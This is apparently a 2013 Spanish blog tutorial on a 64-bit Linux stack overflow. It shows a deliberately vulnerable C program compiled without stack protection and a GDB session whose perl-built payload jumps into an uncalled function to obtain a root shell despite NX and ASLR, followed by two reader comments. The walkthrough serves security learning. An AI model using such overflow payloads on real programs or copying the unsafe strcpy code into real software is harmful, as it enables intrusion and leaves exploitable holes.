"No creas de nosotros cuentos que otros cuenten." Eskorbuto

lunes, 21 de enero de 2013

En un linux/x64 con NX+ASLR activo, ¿existen zonas de memoria no protegidas?

Disclaimer: los textos de exploiting antiguos podrian tener info inexacta o/y erronea.

Hola Exploiters,

Llevaba un tiempo queriendo escribir sobre como un overflow puede permitirnos (with no shellcodes!) movernos por los flujos del codigo de un programa (previstos o no) asi que aqui van cosas como que NX no afecta si queremos desviar el flujo del programa hacia por ejemplo una funcion perteneciente al propio programa a explotar, que podemos llegar a ejecutar partes del programa que no deberiamos (password incorrecto? no problem, just let me in anyway).

Es una explotacion en un sistema Linux de 64 bits con kernel reciente blablabla y como veis existen condiciones en las que ASLR no afecta para nada (no infoleaks needed, no bruteforce needed... como si no existiera). A disfrutar.
### Some versions
root@bt:~# uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux

### 64 bits S.O.
root@bt:~# getconf LONG_BIT
64

### Full ASLR
root@bt:~# cat /proc/sys/kernel/randomize_va_space
2

### ASLR + NX
root@bt:~# bash checksec.sh --file vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH vuln

### Code
root@bt:~# cat vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o vuln vuln.c -fno-stack-protector -mpreferred-stack-boundary=4 #4 is min on x64

void nunca_se_ejecuta()
/* NUNCA SE LLAMA A ESTA FUNCION EN EL CODIGO */
/* call me if you can */
{
system("/bin/sh");
printf("SIGSEGV");
}

void vuln(char *buff)
{
char tmp[8] = {'\0'};

strcpy(tmp, buff);
printf("-> %sn", tmp);
}

int main(int argc, char *argv[])
{
if(argc != 2) {
printf("%s <arg>n", argv[0]);
exit(0);
}
printf("exploit me if you can");

vuln(argv[1]);
return 0;
}

### No SSP. Min preferred stack boundary on x64 is 4 bytes
root@bt:~# gcc -o vuln vuln.c -fno-stack-protector -mpreferred-stack-boundary=4

### Okay, let's GDB rocks:
root@bt:~# gdb -q vuln
Reading symbols from /root/vuln...(no debugging symbols found)...done.
(gdb) r `perl -e 'print "123456789012345678901234AAAA"'`
Starting program: /root/vuln `perl -e 'print "123456789012345678901234AAAA"'`

Program received signal SIGSEGV, Segmentation fault.
0x0000000041414141 in ?? ()

### The Segmentation fault is what we wanted to see. Let's disasm our target func
(gdb) disas nunca_se_ejecuta
Dump of assembler code for function nunca_se_ejecuta:
0x0000000000400604 <+0>: push %rbp
0x0000000000400605 <+1>: mov %rsp,%rbp
0x0000000000400608 <+4>: mov $0x4007c0,%edi
0x000000000040060d <+9>: callq 0x4004f8 <system@plt>
0x0000000000400612 <+14>: mov $0x4007c8,%eax
0x0000000000400617 <+19>: mov %rax,%rdi
0x000000000040061a <+22>: mov $0x0,%eax
0x000000000040061f <+27>: callq 0x4004c8 <printf@plt>
0x0000000000400624 <+32>: leaveq
0x0000000000400625 <+33>: retq
End of assembler dump.

### Si queremos entrar a la funcion que nunca se llama, podemos saltar aqui:
0x0000000000400608 <+4>: mov $0x4007c0,%edi
¿Muchos NULLs? No problem, podemos llegar a esa direccion de memoria en direccionamiento 64 bits saltando a 0x00400608. ¿Aun hay un byte nulo que abortaria el programa? da igual, thx little-endian :)
(gdb) r `perl -e 'print "123456789012345678901234\x08\x06\x40\x00"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/vuln `perl -e 'print "123456789012345678901234\x08\x06\x40\x00"'`
sh-4.1# whoami
root
:)
sh-4.1# exit

Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe4a8 in ?? ()

## bye
(gdb) q
A debugging session is active.

Inferior 1 [process 20741] will be killed.

Quit anyway? (y or n) y
root@bt:~#
Probado en un kernel 4.1.7-grsec , system() sigue devolviendonos una shell, y una vez salimos de la shell, cuando retornamos de la funcion, PaX mata el programa explotado.

Have fun-

Related Posts by Categories



2 comentarios :

Newlog dijo...

Muy buena!

Siempre es bueno recordar estas cosas porqué existen casos en los que no es necesario ejecutar nada que no esté actualmente en memoria (Como tu proverbio... Todo está en memoria :D).

También es bueno que la gente empiece a publicar los textos enfocados a arquitecturas de 64 bits, que ya toca...

A ver si la inspiración te viene más a menudo :D

Saludos!

vlan7 dijo...

Efectivamente, amamos los shellcodes, pero si el propio programa ya tiene mapeado algo interesante en memoria ¡a por ello!

Me alegro de que te haya gustado la entrada, una saludo tio.

Hablamos,

Publicar un comentario

Nota: solo los miembros de este blog pueden publicar comentarios.